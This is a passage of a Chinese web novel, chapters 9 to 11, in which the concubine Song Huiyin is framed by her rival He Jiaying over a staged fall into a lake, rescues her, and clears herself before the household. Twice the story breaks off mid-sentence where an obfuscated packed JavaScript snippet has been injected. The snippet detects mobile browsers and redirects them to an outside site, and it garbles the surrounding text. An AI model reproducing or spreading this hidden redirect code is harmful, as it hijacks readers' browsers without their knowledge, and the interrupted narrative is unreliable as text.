方才在裴夫人屋内,她听见裴彧哄裴夫人的话语,他浑身散漫,与昨夜驿站中的尖酸刻薄判若两人。 以贺家莹的性子,明日裴彧一离京,只怕她就要发难了,凭裴夫人对贺佳莹的重视,她便是打杀了徽音也会护着侄女。 裴彧未必不知,只不过在他眼底,徽音不过一粒小小尘埃,不值一提罢了。 9. 第 9 章 日升月落,青白交映,雀鸟轻点过湖心,荡开波澜。透过青色的层层帷幔,二楼屋室的最里边,地上的青木硬卧榻上,隆起一个身影,微微起伏。 徽音是被阁楼下的扰音吵醒的,她青丝散在两肩,一脸困顿的伏在床上。阁楼下声音愈演愈烈,她被扰得睡不着,抬头看了下天色,不过平旦时分,天才刚刚亮。 她起身凑到窗边观望,临水阁院里站着两个粗衣仆妇,正叉腰怒骂。颜娘拦在二人身前,时不时与她们推搡,而阿桑阿蘅站在一旁的灰白墙下,神色犹豫,不知该不该上前帮忙。 昨日裴夫人新送来的两名粗使仆妇,正躲在左侧耳房外,两人凑在一处窃窃私语看热闹,地上还有刚刚嗑完的瓜子皮。 “我呸!都给人做妾了还摆谱。” “这都什么时辰了还在睡,真当自己还是金枝玉叶!” 颜娘气不过回嘴:“眼下不过寅时,女君尚未起身,你们便堵在临水阁前辱骂,是受了谁的意?” 那个子稍高,吊角眼的匍匐眼神闪躲片刻,又撑着腰怒骂道:“什么授意,身为妾室伺候婆母是本分,莫说伺候女君起身,天稍亮便该守在婆母院前等着。” 她还要再骂,余光瞥见临水阁走出来一个人影,来人未施脂粉,刚睡醒的脸颊还泛着红润。许是府内还未给她置办衣裳,她只穿着一件素色长裾,袖口空荡荡的。 “不知这位如何称呼?” 吊角眼仰头哼了一声,敷衍行了一礼:“奴本家姓张,大家都唤奴一声张媪。” 徽音点点头,春日里的黎明时分与冬日没差,寒气钻入衣领,她双手拢在袖中轻轻点头,“张媪,昨夜夫人身边的婢女栗禾传过话,今日戌时请安便可,你二人各执一词,不如我派人将栗禾请来分说分说,看是听你的,还是栗禾的。” 张媪瞬间被堵死,支支吾吾半天回不上话,她身侧另一个仆妇拉住她的衣袖偷偷凑近耳语:“栗禾是夫人的贴身婢女,我们开罪不起啊。” “怕什么,我就不信她真敢去叫,再说了,就这么灰溜溜的走了,贺女郎的赏钱能拿到吗?”两人凑在一处窃窃私语。 颜娘回身替徽音披上外杉,看着前面两个婆子鬼祟的交谈,提醒徽音:“这两个女媪准没憋好事,女郎……娘子可得注意。” 徽音被扰了好眠,面上不由得带着几分不耐烦的神色,懒得再听她们吵嚷,直接吩咐一旁的阿蘅:“去把夫人院中的栗禾请来。” 张媪与另一人僵住,哪敢再说什么,互相对视一眼胡乱搪塞两句溜之大吉。等她二人走后,颜娘凑上前询问:“可要去补觉?” 徽音摆手,将其他四名婢女都唤进堂内,她端坐在矮案后,颜娘跪坐在一侧侍奉她进食,漆盘上五个朱漆小盘,一碟豆酱,一碗栗米粥,葵菜羹和麦饼炙鸡。 再加一盅浆果饮,色香味俱全,徽音慢条斯理的用着饭食,香味钻进下首跪着的阿桑等人鼻中,有人按捺不住出声:“娘子,奴婢们犯了何错,请你明言。” 徽音擦干净手,语气温和:“半个时辰了,还没明白错处吗?” “奴婢实在不知啊!你们知道吗?”那仆妇问身边跪着的阿桑等人。 阿桑和阿桑齐齐磕头下去,声音发抖:“奴婢们没有拦住那二人,叫她们扰了娘子。” 那仆妇又叫起来:“这如何能怪我们……”她见徽音冷冷盯着她,声音愈发小了。 徽音冷声道:“看守门户是你们职责,你们倒好,任由旁人闯进来,颜娘与她们对峙时,你们四人在何处?” “一荣俱荣,一损俱损,我既做了你们的主子,我富贵便是你们富贵,我落魄便是你们落魄。你们护着我,我自也会护着你们。” “我这个人一次不忠,百次不用,今日念在是初犯,我不罚你们。听闻府上有一位皇后赐下协助夫人治家的陶媪,极为严明,若你们再犯,我绝不留情面。” 四人都被震住,阿桑和阿蘅年纪虽小,却头脑灵活,见状连忙跪着表忠心,身后两名仆妇也跟着磕头告饶,至于心中是如何作想那就不得而知了。 徽音也并非是要她们立刻倒戈,只是敲打一番,叫她们不敢再犯。她初入裴府,又不得裴夫人喜欢,若她是伺候的奴仆,自然也要观望一番。 “下去用饭吧。” 遣散众人后,徽音按着涨涨的太阳穴,她有个头痛的毛病,前夜未休息好第二日头颅必会涨痛。颜娘一阵心疼,劝道:“再去睡会吧,距离戌时还有一段时间。” 徽音双手环抱住颜娘,靠在她身后闭眼小憩,“等会要送裴彧,不睡了。” 帷幔轻摇摆动,日头升起,就在颜娘以为徽音睡过去的那刻,突然听见她小声呢喃:“傅母,你以后唤我徽音吧。我讨厌宋娘子这个称呼。” 颜娘捂着唇,泪光闪烁,忙不迭点头,“徽音。” 徽音换了一个方向,望着波光粼粼的湖面出神,她必须先在裴府站稳脚跟,才能谋划下一步。 —— 临近戌时,徽音带着颜娘和阿桑向正阳院走去,景观园附近的廊道上,正好撞见行色匆匆的贺佳莹,她身后跟着四个短襦婢女和一个褐衣布裙的婢女。 阿桑在一旁解释:“内院的婢女都是着素布短襦,只有外院的粗实婢女才会穿褐衣布裙,没有主子允许,她们不能进内院。” 裴夫人还是和昨日一样高髻如云,插着两支玉镶金钗,发髻正中间是件白玉梳篦,雕刻鸟兽纹。 依旧是一身层层叠叠的深紫三绕曲裾,其实她眉目柔弱,身量娇小,撑不起这身华贵衣裙,她更适合清新雅致一些。 裴彧没有着甲胄,一身玄色直裾袍,袖口以朱色滚边,衣摆绣着暗纹,衣冠粲然,气度沉凝。他低着头靠近裴夫人,听着她絮叨,低头把玩腰间的玉钩带。 裴夫人拉着裴彧絮絮叨叨了一炷香的时间,徽音都有些听困了,裴彧却没有丝毫的不耐烦,眉眼温和。 贺家莹更是一反常态,老老实实跪坐在一边,斟茶倒水,不曾出言。只不过她偶尔看向徽音,眼底藏不住的打量。 而被裴府众人无视的徽音,乖巧的跪坐在三人身后,漆食案上的酥酪枣盘空了一大半,徽音听着裴夫人的絮叨和裴彧的回应声,同时打量这件屋舍的装饰,揣摩裴夫人的喜好。 喜金玉,喜鲜艳,喜甜食,还有…… “宋氏!” 徽音找回思绪,抬头便看见裴夫人盯着她,裴彧还是那个姿势,眼神分毫未动,完全将她无视,而贺佳莹则是一脸幸灾乐祸。 裴夫人面带怒气,指着她斥道:“你郎婿即将出远门,你不说叮嘱关怀几句,在那神游天外想些什么?” 徽音眨眨眼,起身取过一旁放置的织锦毯,跪坐到裴夫人面前,将毛毯盖在她的膝上,神色万分认真 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难捱的送行宴过去,徽音迫不及待的想回临水阁透气,沿着长长的廊道,拐过雕花石拱门,她看见早已等候多时的贺佳莹。 一如今晨遇见那般,身后跟着四名短襦婢女,只是那粗使丫头却不见踪影。 徽音和颜娘对视一眼,二人心中都明了,裴府的第一场大戏要开始了,就是不知贺佳莹会如何做。她上前行礼:“佳莹表妹。” 贺佳莹今日穿了一件烟粉色双绕曲裾,与昨日徽音行妾礼穿的那件旧衣有八分像,她容颜俏丽,烟色衬得她肤白貌美,如同一夺盛放开来的海棠花。 贺佳莹冷笑上前,言语讥讽:“表妹?你一个妾你也配唤我表妹?” 徽音后退两步,诚恳的道歉:“抱歉,贺女郎。” 她并不知贺佳莹打算作何,何况她刚在裴夫人那里有点好感,此时态度必须要谦卑谨慎,起事的人只能是贺佳莹,不能是她。 贺佳莹继续逼近徽音,露出恶意:“你倒是会讨姨母欢喜,任谁也想不到,你宋徽音讨好人起来比下贱的乐妓手段还高超。” 颜娘憋不住的出声:“贺女郎,我家娘子怎么说都是你表兄房中人,你怎能以乐妓羞辱她?” “你不过宋徽音身边的一个贱婢,也敢来教训我!” 贺佳莹恶狠狠的指着颜娘,吩咐身后的婢女,神色得意,“给我掌嘴二十,让她涨涨记性,让她知道,这裴府究竟是谁当家做主。” “谁敢!” 徽音迎上前,她比贺佳莹还高半个头,两人面对面站着,贺佳莹那猖狂的气势瞬间就被压了下去。 贺佳莹毫不掩饰的瞪徽音,正要回嘴,就听见徽音用只有两人的能听到的声音道:“何必东拉西扯,你要做什么直言就是。” 贺佳莹心中一喜,指着不远处的石亭,端着下巴傲气十足,“这里不好说话,去那里谈。” 徽音顺着她手指的方向看向石亭,石道曲折婉转,直通湖心,石亭是典型的柱梁结构,由几根石柱支撑石梁,皆雕刻云雷纹,梁上为攒尖顶,距离岸边很远,四周空旷。 贺佳莹只带了四名年轻婢女,她和颜娘想要脱身不难。可是,她要一直这样被动挨打吗,只有千日做贼,没有千日防贼的道理。 湖心,石亭,她望着贺佳莹眼底的亢奋,心中不住猜测,她要做什么。 10. 第 10 章 既已下定决心,徽音也不再犹豫,一口答应下来,两人一前一后踏进石亭,带着婢女都被贺佳莹撵在石道外。 徽音走近栏栅,打量四周,此地距离岸边甚远。又是春日,莲湖一片枯枝残叶,面上浮着水藻淤泥,她刻意与贺佳莹并行,避免她突然出手。 她今日穿了身靛青窄袖直裾,下着衬裙,比贺佳莹身上束缚紧身的曲裾方便许多,湖面有风,亭中两人衣着单薄,不约而同的背身靠在石柱后。 贺佳率先开口,声音带着怀念:“我曾经特别羡慕你,出身高贵,才貌出众,走到哪里都能轻而易举吸引旁人的目光。那时我就在想,要是有一日,我也能变成你那样该多好。” 她第一次见宋徽音是元朔三年隆冬,是她被接到裴府的第二年,身上的旧疤痕褪去,瘦瘪的脸颊鼓起,裴夫人花了两年的时间教导她礼仪规范,终于使得她像个人样。 留侯世子大婚,她随姨母一同到留侯府邸赴宴,锦衣华服,曲水流觞。 她自卑极了,一路上都不敢抬头,瑟缩的跟着姨母身后唯唯诺诺,深怕看见旁人眼中的鄙夷之色。 直到听见一道琴音,她才好奇的探头望去,前来观礼的宾客们都聚在一座临时搭建的木帷旁,里头端坐着一个披着白狐裘的小女娘,梳着双丫髻,眉眼稚嫩,笑靥清甜。 手下的二十五弦瑟发出铮铮琴音,旁边跪坐一个深衣曲裾的少年郎,眉眼清俊,正以七弦琴与其合奏。 悦耳动听,引人入胜。 她听见旁边细碎的议论声,姨母身旁的高门贵妇的赞扬,才知道那个小女娘是宋公之女,宋徽音。据说她音律天赋极佳,小小年纪便能奏出天籁之音,又容貌出众,人人称赞。 她羡慕极了,双眼放光的看着那个小女娘,心底暗暗想着,要是有一天能像她那样该多好,即便只有她的十分之一也很好。 贺佳莹从来都知道表兄不会只属于自己,她设想过多人,包括表兄的未婚妻柳檀,对上她们都有一争之地。但是从来没有想过会有宋徽音,对上她,根本争不过。 她甚至不必多说什么,做什么,只用站在那里,就能吸引所有人的注意力,从前的宋徽音,真的太耀眼,耀眼到她跌入泥潭,贺佳莹也依旧没有半分胜算。 “为什么是你!你是要来抢走我的一切是不是!京城那么多高门贵戚你为何偏偏要选裴家!”贺佳莹怒而转身,双手紧紧箍住徽音的手臂,神色疯狂。 徽音被她疯狂的摇晃弄乱了思绪,她被人狠狠的扣在石柱上,冷硬冰凉的触感顺着衣裙攀上背脊。 徽音奋力制住她,有些不解,贺佳莹眼底不是心爱之人被抢走的嫉恨,而是一种恐惧,她在害怕什么? “贺佳莹,你清醒一点,即使没有我也会有旁人。裴彧若喜欢你,何必等到今日,你为何非要在他身上吊死。” 贺佳莹不知是否听进去,她拽着徽音和她拉扯,眼角带着狠意:“你就是来抢我的一切,你要把我赶出裴府是不是?你要让姨母和表兄厌弃我是不是?” 徽音顿时不知该说什么,她再度解释:“我不会和你抢,我也没有那个本事让裴夫人和裴彧赶你走。” 她夹着尾巴做人还来不及,怎么会主动惹事,更何况贺佳莹可是裴夫人的心头肉,她实在不明白为何贺佳莹这般害怕。 “你骗人!”贺佳莹眼角浸出泪,她继续用力逼近徽音,将她整个上半身都压出栏杆外,悬在空中。 两人靠的极近,颜娘看见她们二人靠在石柱上,互相拉扯私缠,徽音被死死压的栏上,身形摇晃将要落水。她心中着急想要上前帮忙,却被贺佳莹的四个婢女团团围住,不许她向前。 徽音身体悬空,双脚慢慢离地,湖里淤泥的臭味与土腥味已经逼进她,倒春寒时节,掉进去不死也去半条命。 她神色彻底冷下来,盯着面前这个已经陷入疯魔的女子,奋力反击。本以为需要耗费大力气才能推开贺佳莹,没想到贺佳莹身形摇晃不稳,用力一挣就推开了她。 贺佳莹借着力直接退到了对面栏杆处,神色得意,扬声大叫:“宋徽音,我只是想宽慰你,你为何要对我大打出手!” 徽音抬头望去,贺佳莹半个身体已经挂在栏杆外,胭红色的衣裙在她面前来回摇晃,如同一株被狂风吹打的花骨朵,她还在朝远处的人影嚷嚷:“宋徽音,你为何推我下水!” 远处的守着婢女见状魂都要吓飞了,提着裙摆就朝亭边飞奔。电光火石间,贺佳莹朝徽音露出一个诡异的微笑,随后松手朝湖内坠去。 此起彼伏的叫声充满后花园,徽音大脑瞬间消音,随着那一声“扑通”,一切明了,贺佳莹打从一开始就没想推她下水,她的目的是要让所有人以为是徽音推她下水,要谋害她。 裴彧刚刚离府,就闹出她推贺佳莹下水的事情,以裴夫人对贺佳莹的重视程度,绝对不会放过她,轻则赶出裴府,重则扭送廷尉。 只是令她没想到的是,贺佳莹居然拿自己的性命做饵,即便落水被救,这冰冷刺骨的湖水也够她病一场。 时下医药并不发达,世人更信巫医,但凡大病难治都要请巫医前来驱除邪祟,至于生死,那是听天由命。 岸边传来裴夫人惊慌失措的叫声:“佳莹!我的佳莹,你们都是死人啊!还不快下去救人!” 徽音吓得僵直的手臂回暖,她跌跌撞撞来到贺家莹落水的地方,贺佳莹不会水,已经在水中扑通了好一会,溅起水花打在回徽音脸上,带起一阵激灵。 贺佳莹双手双脚不住的在水中扑腾,口中不停的叫喊:“救命……救命……” “咕嘟咕嘟”,她连呛几口水,整个人向下沉去,只剩那件胭色曲裾泡浮在湖面。贺佳莹眼瞅着要沉入湖底,一褐衣布裙的眼熟的婢女提着裙摆飞奔而来,衣领间闪着细碎的金色光芒。 徽音还没看清那是什么,婢女已经到达栏栅边要跳下去救贺佳莹。徽音心念一动,看着水中不住挣扎的贺佳莹,还有远处岸上撕心裂肺喊叫的裴夫人。 她在婢女迈过栏栅那刻伸出双手将人推回亭内,大喊:“表妹莫怕,我来救你。” 徽音身姿轻盈的抬步踏上栏杆,纵身跃入水中,正好砸在刚刚拼命挣扎浮起的贺佳莹身上,将人深深砸在水底。 远处的裴夫人等人见状顿时吓傻,已经掉下去一个,怎么又跳下去一个。 一时间,岸边在裴夫人的指挥下乱作一团,还是那名传说中的陶媪来的及时,镇定的指挥,一群人下水的下水,打捞的打捞。 身体好似被冻僵,连舒展都变得困难起来,骨子里泛着密密麻麻的刺疼,徽音颤颤巍巍吐出一口寒气,伏在水面深吸一口气,扎下水揽住贺佳莹的腰间往上浮,贺佳莹已经神志不清,双手胡乱的扒在徽音身上,脚还在不停扑腾。 徽音猝不及防被她再次带入水,冰冷的湖水没过她的额头,口鼻连呛两口,湖水土腥味在胃里炸开。 她顿时来气,新仇旧恨加在一起,狠狠在贺佳莹腰间来了一下,趁着她吃痛带着人往上浮去。 她抓住岸上抛来的打捞网,裹着贺佳莹朝前游去,徽音深谙水性,可在这样的环境里,还带着一个死沉死重的贺佳莹,好几次手指冻僵都抓不住她,咬着牙才将人带到岸边。 好在岸上人多,三两下就将她们二人拉上岸。贺佳莹昏迷不醒,脸上和身上遍布水藻,嘴唇发紫,身体止不住的抽搐。 裴夫人带人围在她的身边,抱住她的脑袋哭天抢地。徽音力竭的倒在一旁,蜷缩着身子抵御寒冷,没有人来管她。她抬手摘掉脸上覆盖的水藻,匍匐在地上咳了咳,吐出一口脏水。 颜娘好不容易挤进人群,心疼扶着徽音,替她披上外衣,心疼的将人抱在怀中,心中满是不忿。 她家娘子为了救那作死的贺佳莹,连自己的命都不顾,竟然没有一个人在意徽音的死活,连一件衣裳都曾替她披上。 徽音咳了会觉得好转,寒风吹来,她脑中凝成浆糊一般,分不清在哪,身体冻僵连腿都无法伸展开,虚弱的倒在颜娘怀中,嘴唇冻的青紫。 裴夫人的哭喊和婢女们慌乱的叽喳声还萦绕在她耳边,吵得她脑袋要炸开了。但人也清醒了些,徽音就着沙哑的嗓子大喊:“不要围住她,将她放平!” 她的声音隐在裴夫人的哭闹里,没有一人听见。徽音面露焦急,如果贺佳莹死在这里,不仅是她,连身边的颜娘都走不出裴府。 她不能也绝不容许这种事情发生,她还有很多要做的事,不能死在这里,死在贺佳莹手中。 “女君若想让她就此溺亡,尽管继续哭号。”陶媪寒意的声音响起,裴夫人犹如被人当头一棒打在头顶,骤然止声。她抱着昏迷的贺佳莹,死死抿住嘴唇。 陶媪面无表情,眉间的褶痕印更加清晰,她板着脸继续喝道:“全部散开,不要围着她。” 又指着旁边六神无主的婢女一一吩咐:“你去烧水熬姜汤,你去准备轿撵,你去准备御寒的衣物。 “乔媪,你拿着女君的令牌去请太医令。” 她语速极快,短短的时间内便有条不紊的安排好一切事宜,指着裴夫人神情严峻,“将人放平,不要抱着。” 裴夫人小心翼翼的放下贺佳莹的脑袋,朝旁边挪两步,希冀的看着陶媪。陶媪却抬眼看向徽音。 徽音明白她的意思,她撑着颜娘艰难的起身,踉跄的来到贺佳莹面前。她显然已经靠近鬼门关了,连脉搏都探不到了。 徽音凑近贺佳莹的胸前,伏在她胸上仔细的听着,声音很小,但是还在跳动。她掐开贺佳莹的嘴巴,清理干净她口内的水藻,将她脑袋微微仰起。 随后跪在贺佳莹身侧,双手并拢按在她的胸腔前向下按压。贺佳莹如同一具木娃娃,一动不动,任由她摆动。 贺佳莹的侍女疏影见她的这样急救,忙跪在裴夫人面前恳求道:“女君,不能相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在众人七想八想之下,徽音和颜娘不懈的努力下,贺佳莹终于有了动静,她头颅扬起咳出一阵水花,溅在徽音的脸上。 贺佳莹只感觉胸口处一阵闷痛,浑身上下仿佛置身冰窖中,像无数根细针扎在身上冷的她喘不过气来。 她微微睁开眼,视线涣散,只能看见一张发丝凌乱的芙蓉面映在眼前,不禁喃喃道:“仙女。” 徽音嫌弃的抹去脸颊溅上的水,听见贺佳莹的呢喃,她疑心她脑子还不清醒,伸手在她眼前晃了晃,“贺佳莹!贺佳莹!” 她看见贺佳莹眼珠不曾动过半分,只愣愣的看着她念叨仙女,徽音皱起眉头,抬手拍着她脸颊,问道:“你还记得我吗?” 贺佳莹还是不吭声。 徽音用了些力气扇下去,对着她的脸左右开弓,痛意在贺佳莹脸上蔓延,她深思瞬间清醒了几分,看清了眼前的人影,“宋徽音!” 见她恢复了神智,徽音力竭的蹲坐在一旁,裴夫人上前将她挤出去,抱着苏醒的贺佳莹心疼道:“佳莹啊,哪里痛,快跟姨母说说。” 贺佳莹望着裴夫人焦心的脸色,呜咽一声扑在她怀里大哭:“姨母!” 徽音按着酸痛的手臂坐在地上,湿透的衣服的裹着她有些喘不过气来,身体也开始回冷,冷的她说不出话。她只觉的脑门热热的,呼不上气,迷离迷糊的想着,又要病一场了。 陶媪注意到她的不适,吩咐一旁早已静待的婢女们扶起徽音回房休息。临水阁二楼,徽音泡在热浴里,苦涩的中药味包裹住她。 这是方才陶媪着人送来的药材,可以有效预防伤寒。颜娘跪在浴桶旁,揉捏徽音的手臂,缓解疼痛。 徽音望着水中的倒影微微出神,阿父还在时,曾主导过天禄书阁修建,时下多耻女子读书,宋父却不一样。 相反,他还时长鼓励徽音博览群书,是以很长一段时间徽音都在藏书阁内钻研,通晓不少古今之事,这落水救人之法就是她从古书中所得。 泡完药浴,徽意也感觉身上的不适皆褪去,只有喉咙还有些沙哑。半干的头发披在身侧,她跪坐在两个炭盆中间,烤的面颊通红,夹着淡淡的烟雾,她不适的皱眉。 楼梯传来脚步,阿桑跪在屋外的地毯上恭敬的传话:“娘子,方才正阳院着人来传话,贺女郎已经醒了,女君传您过去问话。” 颜娘没好气道:“娘子也落水了,连姜汤都还未用,连歇都不让人歇。” 阿桑神色颇为尬尴的跪在原地,不知该如何接话。颜娘也只是心有不忿抱怨两句,她挥手让阿桑下去候着。颜娘替徽音挽起散落的发丝,准备描眉时被徽音拦下。 徽音把螺黛换成细粉,均匀的铺在脸上,镜中人面色苍白,连唇色都不显,清冷如月色,挑了一件飘逸的直裾,更衬得她纤细,行动见弱柳扶风,我见犹怜。 美人计,不分男女。 11. 第 11 章 徽音带着颜娘走进正阳院偏房,虽是偏房,里头陈设家具都是上等,连垂地的帷幔都是上好的绫罗,遮光避风。铺有地龙,徽音退履踩在上面,热烘烘的,衣裙上的寒意瞬间褪去。 裴夫人坐在床前,端着热气翻腾的汤药哄着她喝药。垂下的缠枝纹纱帐遮住贺佳莹的身影,徽音只能听见她朝裴夫人撒娇:“姨母,这药好苦啊。” 她垂下眼,这副场景她也曾有过,不过不是宋夫人哄她,而是她哄宋夫人。宋夫人常年服的药很苦,每次哄她喝药都要宋父,徽音和宋景川轮流上场才行。 疏影注意到徽音的身影,出声提醒:“女君,女郎,宋娘子到了。” 室内安静一瞬,随后响起贺佳莹哭唧唧的声音,“姨母,你可一定要为我做主啊!都是宋徽音,是她推我下水的!” 徽音面无表情的走进去,屈膝向裴夫人行礼,奈何裴夫人一心哄着流泪的贺佳莹,丝毫未曾注意到她。 徽音也不介意,自顾自的起身,视线移至倚靠在床上的贺佳莹,看清她眼底的算计后。她才不急不慢的问道:“表妹这话有问题,你空口白牙诬陷我推你下水,可有证据?” 听见这声表妹,贺佳莹刚喝的药瞬间呛住,她愤愤的指着徽音:“你……你不许喊我表妹!谁说我没有证据,当时湖边可有不少人,她们都看见是你将我推下湖的!” 裴夫人忙着替她抚胸顺气,听见这话也转头质问徽音:“方才我都问过那些婢女了,她们都说看见你和佳莹争执,是你将佳莹推下去的,你还何话可说?” 徽音眼含泪光,虚虚的跪倒在地上,捂嘴轻咳。颜娘接收到她的讯号,也跟着跪在的地上,抱住徽音抹泪哭喊。 “女君明鉴啊!若真是我家娘子推贺女郎下湖,又怎会不顾性命跳水救她,我家娘子本就身子弱,湖水寒凉,她要是落了病根可怎么好啊。” 裴夫人一愣,双手都不知道往哪摆放,连忙吩咐婢女搬来锦席,让颜娘扶着徽音坐下,又吩咐婢女赶紧端碗姜汤来给徽音服下。 贺佳莹呆坐在床上,不解的看向疏影,眼神质问“怎么是宋徽音救的我?我安排的婢女呢?” 疏影神色慌乱,女郎落水后裴夫人就一直守在她身旁,她没有机会告诉女郎,更何况救人之事,她实在不知该如何开口啊! 贺佳莹看着疏影脸色一会纠结一会欲言又止,此刻她也管不了太多,指着徽音道:“定是你害怕姨母怪罪,这才会救我。” 徽音掩着苍白的唇色,无辜的看着裴佳莹,欲语泪先流:“我知表妹不喜我,可你万万不该不把自己的性命当回事。” 她又看向裴夫人,轻泣,“我二人各执一词,夫人无法分辨,不如将今日在场之人一一叫来当场对质,还我清白。” 贺佳莹心下一喜,忙道:“对!姨母,将今日的人都叫来,那么多人,都看见是她将我推下水,我看她如何狡辩!” 裴夫人东望望一脸喜意的侄女,西望望一脸苍白垂泪的徽音,心中的秤砣已经从偏处回到正位。她点点头,吩咐乔媪去喊人。 没过多久,陶媪带着一众证人来到正阳院,她环顾一圈,见众人心思各异,面朝婢女们道:“国有国法,家有家规。皇后娘娘派我协助女君掌家,自是不容许有人在裴府兴风作浪!” 她又转身扫过徽音和贺佳莹两人,看着裴夫人道:“女君,今日不论是谁的错处,最后都要按裴府家规处置,您可有异议?” 裴夫人抱着贺佳莹,并未发现她不对劲的神色,她道:“自是如此,必要重罚以儆效尤。”怀中的贺佳莹猛然一抖,她连忙嘘寒问暖,“佳莹别怕,姨母一定会给你做主的!” 贺佳莹不敢直视陶媪,只垂着头装作不适,掐着手心强迫自己冷静下来。 徽音望着一脸板正的陶媪,心中微微有了底,她先前只在阿桑等人口中听闻她,裴彧刚离府那几年了,裴夫人管家闹出了不少笑话,裴皇后无奈,只得将身边得力的仆妇拨出协助其掌家。 陶媪原也是贵戚之后,因父兄犯事被抄灭家产,她也被卖进宫中,服侍过两任皇后,宫规礼仪娴熟。她到裴府之后,治家有条不稳,赏罚分明,就连裴彧都很信重她。 早先在湖边时,徽音忙着救贺佳莹,并未多加注意她,事后听颜娘说她镇定自若指挥,已有了好感,又见她此时处事公允,心中的大石落地。 陶媪见几人都无异议,转身一一询问在场婢女,院内所有人都众口同声的指认徽音,皆道是她将贺佳莹推入水。 事先被贺佳莹安排好的粗使婢女跳出来,跪在地上哭诉:“夫人,女郎落水后婢子本要跳水去救,都是因为她!”她抬手指向徽音,声泪泣下,“是她将我推倒,拖延了救女郎的时间。后来她许是心中害怕夫人怪罪,这才跳水救人。” 贺佳莹不语,缩进裴夫人怀中嘤嘤哭泣。裴夫人立时大怒:“宋氏!我裴府不嫌弃你,愿意接纳你入府,你竟敢恩将仇报谋害佳莹。” 她怒喝道:“来人,将宋氏给本夫人拖下去,先杖二十。” 期间陶媪一言不发,只用她那双锐利的眼神盯着徽音,看她如何破局。 “慢着!”徽音喝退上前抓住她的仆妇。 贺佳莹眼里充满得意:“宋徽音,你还想狡辩。” 徽音转头望着她,笑起来,“是不是狡辩,也得等我说了才知道。” 贺佳莹冷哼一声,转头摇着裴夫人的手臂,“姨母,莫要听她花言巧语,赶紧将人处置了罢。” 裴夫人心绪摇摆不定,撇开徽音是儿子的带回来的人不谈,方才她奋力救助佳莹的场面她看在眼里,若非她相救,佳莹此刻恐怕早就断气了。 她犹豫后道:“本夫人给你机会,倘若你说不出个所以然,裴府绝不容你。” 徽音无视跪着指认她的粗使婢女,踱步来到院中站着的七位婢女面前,问道:“事发之时,你们七人分别在身在何处?” 婢女们面面相觑,不知她何意,纷纷道出自己所处的位置。徽音点点头,问向第三个婢女,“你说事发时你站在亭子的东南角,可东南角有一处丈高的假山石,恰好能遮住石亭,你又是如何看到我将贺女郎推下水的?” 婢女支支吾吾的回道:“奴婢……许是记错了,当时应该是在石亭后方。” 徽音又问:“正后方?可那时我一直都是面朝石亭的后方,为何不曾看见你的身影?” 婢女被问倒,眼神飘向裴夫人怀中的贺佳莹,不知该如何答。徽音也不再为难她,转身看向另一个圆婢侍女,那婢女慌忙抢答:“婢子奉命去浣衣房取衣,途径后湖灌花丛时瞧见了宋娘子和贺女郎在石亭内起了争执。” 徽音问:“那你可是亲眼所见是我将她推了下去?” 圆脸婢女回想片刻后摇头:“离得太远,奴婢并未亲眼所见,只听见贺女郎叫道是宋娘子推她下水。” 徽音提出疑问:“若我没记错的话,灌花丛和石亭是一条线上,亦是距离石亭最近之处,连你都看不清,只能听见声音。那其他离得更远之人又是如何看清我将贺女郎推下水的?” 剩下几名婢女互相对视几眼,纷纷低下头。贺佳莹手心濡出汗,连忙喊道:“那亭中就你我二人,若非你推我下水,难道是我自己找死跳下去的。” 裴夫人吓一跳,伸手在空中挥舞两下,嘴中呸呸呸道:“什么死不死的,不许乱说!” 徽音转身盯着贺佳莹,肯定道:“没错,就是你故意落水故意陷害我,想将我赶出裴府。” 贺佳莹怒火中烧,猛的站起身辩驳:“你胡说,我为何……” 徽音打断她的话音,当着所有人的面揭开她的遮羞布,“因为你喜欢裴彧,你嫉妒我,我入府不过两日,你就给我使了两回绊子。你恨我成为裴彧的妾,恨不得将我除之而后快!” “你胡说!你胡说!”贺佳莹面目狰狞,冲到徽音面前怒吼。 相比她的情绪激动,徽音更显淡定,她指着身后跪着指认的粗使婢女,微微一笑:“她就是证据。” 贺佳莹大笑了两声,神色讥讽:“她算什么证据,我根本不认识她!” 徽音接着答:“一个外院杂扫的婢女,为何会出现在莲湖,又刚好在你落水之时准备救你?” 跪着地上的粗使婢女辩解:“奴婢虽是外院的,偶尔也会帮内院的姊姊跑腿,出现在后院并不稀奇。” 徽音见她们一副不见棺材不落泪的模样,俯身勾出婢女领口泛着细碎光芒的金链,那链子的底端还坠着一个栩栩如生的小金猪,手艺精致。 徽音抬手拽下金坠子,展示给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315285|182964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人看,又问:“那你告诉我,你为何会有如此贵重的金饰吊坠?” 看见那链子的贺佳莹瞬间慌乱起来,连忙伸手去夺,徽音用了些巧劲,躲开她扑上来的身影,快步走到陶媪面前,双手呈上,“您在宫中当差见多识广,自然能看出这链子的不凡。” 陶媪取过金链细细打量,随后递给身边的裴夫人,“这链子女君比奴婢更清楚,去年皇后娘娘曾赏给女君一套十二生肖所制造的金饰吊坠,这金猪想必就是出自那里的,不知女君将此物赏给了谁?” 裴夫人瞬间明白一切,她看着面露祈求的贺佳莹,最终还是决定替她瞒下此事。她摇摇头,心虚道:“这不是那一套,我并未见过这链子。” 陶媪面露失望,吩咐府卫将那粗使婢女拉下去拷打,逼问金链来历。粗使婢女跪在地上瑟瑟发抖,抓住贺佳莹的衣角不停哭求:“女郎,救救奴婢啊!” 贺佳莹吓了一跳,连忙拉开那婢女的手臂,缩回裴夫人身后。 